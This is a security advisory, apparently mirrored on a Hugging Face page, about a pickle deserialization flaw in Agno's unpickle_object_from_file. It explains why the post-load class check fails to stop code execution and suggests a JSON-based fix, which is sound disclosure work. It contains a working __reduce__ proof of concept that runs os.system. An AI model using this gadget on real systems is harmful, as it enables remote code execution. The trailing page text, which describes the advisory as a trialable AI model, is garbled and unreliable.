Phidata/Agno —
pickle.load()
with Post-Deserialization Class Check (Security Theater)
Vulnerability Type
CWE-502: Deserialization of Untrusted Data
Severity
High — The
verify_class
parameter creates a false sense of security. The pickle payload executes during
pickle.load()
, before the
isinstance
check.
Affected Code
File:
libs/agno/agno/utils/pickle.py
defunpickle_object_from_file(file_path: Path, verify_class: Optional[Any] = None) -> Any:
_obj = Noneif file_path.exists() and file_path.is_file():
_obj = pickle.load(file_path.open("rb")) # ← RCE happens HEREif _obj and verify_class andnotisinstance(_obj, verify_class):
logger.warning(f"Object does not match {verify_class}")
_obj = None# Too late — pickle payload already executedreturn _obj
Steps to Reproduce
Identify where phidata/agno calls
unpickle_object_from_file
:
from agno.utils.pickle import unpickle_object_from_file
Create a malicious pickle file:
import pickle, os
classFakeAgent:
def__reduce__(self):
return (os.system, ('id > /tmp/phidata_pwned',))
withopen("/tmp/agent_state.pkl", "wb") as f:
pickle.dump(FakeAgent(), f)
Load with verify_class — RCE still fires:
from pathlib import Path
# verify_class=dict, but the exploit runs BEFORE the check
result = unpickle_object_from_file(Path("/tmp/agent_state.pkl"), verify_class=dict)
# /tmp/phidata_pwned now exists — RCE executed before isinstance check
Why verify_class Doesn't Help
Python's
pickle.load()
invokes
__reduce__
methods during deserialization. The malicious code executes as part of object reconstruction, which happens inside
pickle.load()
— before the return value is available for any type checking.
Timeline:
1. pickle.load(f) called
2. → pickle reads opcodes
3. → __reduce__ triggers os.system("id > /tmp/pwned") ← RCE HERE
4. → pickle returns the constructed object
5. isinstance(_obj, verify_class) runs ← TOO LATE
Suggested Fix
Use
RestrictedUnpickler
or replace pickle entirely:
import json
defsafe_load_from_file(file_path: Path, expected_type: type = None) -> Any:
withopen(file_path, "r") as f:
obj = json.load(f)
if expected_type andnotisinstance(obj, expected_type):
returnNonereturn obj
Invariant Violated
S16 (DeserializationGuard): The
verify_class
parameter is security theater — it does not prevent code execution during deserialization.
Runs of vellaveto phidata-pickle-verify-bypass on huggingface.co
0
Total runs
0
24-hour runs
0
3-day runs
0
7-day runs
0
30-day runs
More Information About phidata-pickle-verify-bypass huggingface.co Model
phidata-pickle-verify-bypass huggingface.co
phidata-pickle-verify-bypass huggingface.co is an AI model on huggingface.co that provides phidata-pickle-verify-bypass's model effect (), which can be used instantly with this vellaveto phidata-pickle-verify-bypass model. huggingface.co supports a free trial of the phidata-pickle-verify-bypass model, and also provides paid use of the phidata-pickle-verify-bypass. Support call phidata-pickle-verify-bypass model through api, including Node.js, Python, http.
phidata-pickle-verify-bypass huggingface.co is an online trial and call api platform, which integrates phidata-pickle-verify-bypass's modeling effects, including api services, and provides a free online trial of phidata-pickle-verify-bypass, you can try phidata-pickle-verify-bypass online for free by clicking the link below.
vellaveto phidata-pickle-verify-bypass online free url in huggingface.co:
phidata-pickle-verify-bypass is an open source model from GitHub that offers a free installation service, and any user can find phidata-pickle-verify-bypass on GitHub to install. At the same time, huggingface.co provides the effect of phidata-pickle-verify-bypass install, users can directly use phidata-pickle-verify-bypass installed effect in huggingface.co for debugging and trial. It also supports api for free installation.
phidata-pickle-verify-bypass install url in huggingface.co: